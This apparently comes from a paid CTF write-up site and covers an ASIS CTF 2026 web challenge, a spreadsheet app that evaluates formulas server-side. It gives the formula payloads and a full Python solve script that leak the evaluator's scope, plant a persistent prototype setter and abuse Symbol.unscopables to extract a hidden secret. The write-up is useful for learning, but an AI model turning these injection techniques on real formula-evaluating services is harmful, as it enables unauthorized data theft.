$ cat writeup.md…
$ cat writeup.md…
asisctf2026
Task: a spreadsheet SPA evaluates attacker formulas server-side through `/api/sheet` in a persistent session realm. Solution: leak the live scope, plant a persistent setter on `secret`, and repeat a `Symbol.unscopables` trigger until `shared` captures the hidden value.
Partial organizer text preserved in local notes: "strange calculations are simply features" and "perfectly secure".
English summary: The target at http://91.107.252.227:3000 is a spreadsheet-like single-page application. The frontend references only /api/sheet; GET /api/sheet returns sheet state as JSON and POST /api/sheet evaluates formulas server-side. The solve was to turn that evaluator into a same-session side channel and capture the hidden secret value.
web-recon.json showed a single HTML page at / and one API endpoint at /api/sheet; common extra routes returned 404.nginx/1.31.4.= are evaluated on the server./api/sheet, so the attack surface was the evaluator rather than a hidden secondary API.The first important primitive was a getter that exposed the live evaluation scope:
={}.__proto__.__defineGetter__("leak",valueOf)
After that, =constructor.keys(leak) revealed the interesting bindings:
cells,user,shared,secret
This immediately explained the app model:
cells holds the workbook state.user was the literal string u in the tested session.shared is a session-local array that persists across requests.secret exists in scope, but direct reads were unhelpful: =secret returned an empty string and =secret.length returned 0.That meant the flag was not recoverable with a simple one-shot =secret read.
The second key observation was that prototype and setter/getter changes in the session realm persisted across later requests in the same session. In particular, this setter survived and fired later:
={}.__proto__.__defineSetter__("secret", shared.push.bind(shared,"secret"))
This proved two useful facts:
shared was ideal for that hook because shared.push("HELLO"), shared.length, and shared.join("~") all persisted across requests in the same session.
The successful chain was:
secret setter shown above.leak again with __defineGetter__.Array.prototype with constructor.getOwnPropertySymbols(constructor.getPrototypeOf(shared)).pop().{ secret: true } to the live scope's Symbol.unscopables entry.shared.join("~").The trigger request used these formulas:
A1 = {}.__proto__.__defineGetter__("leak",valueOf) A2 = constructor.defineProperty(leak, constructor.getOwnPropertySymbols(constructor.getPrototypeOf(shared)).pop(), {value:{secret:true}}) A3 = constructor.getOwnPropertyNames(leak).join(",") A4 = constructor.keys(leak) A5 = constructor.getOwnPropertySymbols(leak).length C1 = shared.join("~")
Why it works, based on observed behavior: the evaluator is consistent with a with-style scope object or an equivalent custom resolver. The secret name is normally shadowed by an empty string in direct lookups, but the live scope is still mutable, and session-local hooks survive across recalculations. Marking secret as unscopable on the exposed scope changes how later same-session processing touches that name. Because the setter on secret remains armed across requests, repeated triggers eventually push the real backing value into shared, where it becomes readable.
This was not a clean direct read. The exploit required repeated requests inside the same session. The supplied local solver found the flag on iteration 9 in a successful run.
/ and /api/sheet were observed; common extras returned 404.constructor.constructor, toString.constructor, and related call/apply/bind variants returned #ERR or empty output.=secret stayed empty, so the final leak had to use the cross-request side channel.Reproduction from the local task directory:
"/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/asisctf2026/interdimensional_ledger".python3 "./exploit_flag.py"
requests.Session(), installs the persistent setter, then replays the trigger request up to 30 times.shared string containing secret~"ASIS{REDACTED}".Full working solve script from the local artifact:
import re import requests BASE = "http://91.107.252.227:3000" FLAG_RE = re.compile(r"ASIS\{[^}]+\}") def post(session, cells): return session.post(f"{BASE}/api/sheet", json={"cells": cells}, timeout=20) def main(): s = requests.Session() # 1) Persist a setter for `secret` in the session realm. post(s, { "A1": '={}.__proto__.__defineSetter__("secret", shared.push.bind(shared,"secret"))' }) sym = 'constructor.getOwnPropertySymbols(constructor.getPrototypeOf(shared)).pop()' cells = { "A1": '={}.__proto__.__defineGetter__("leak",valueOf)', "A2": f'=constructor.defineProperty(leak,{sym},{{value:{{secret:true}}}})', "A3": '=constructor.getOwnPropertyNames(leak).join(",")', "A4": '=constructor.keys(leak)', "A5": '=constructor.getOwnPropertySymbols(leak).length', "C1": '=shared.join("~")', } for i in range(1, 31): r = post(s, cells) m = FLAG_RE.search(r.text) print(f"try {i}: {r.text}") if m: print(m.group(0)) return raise SystemExit("flag not found in 30 iterations") if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar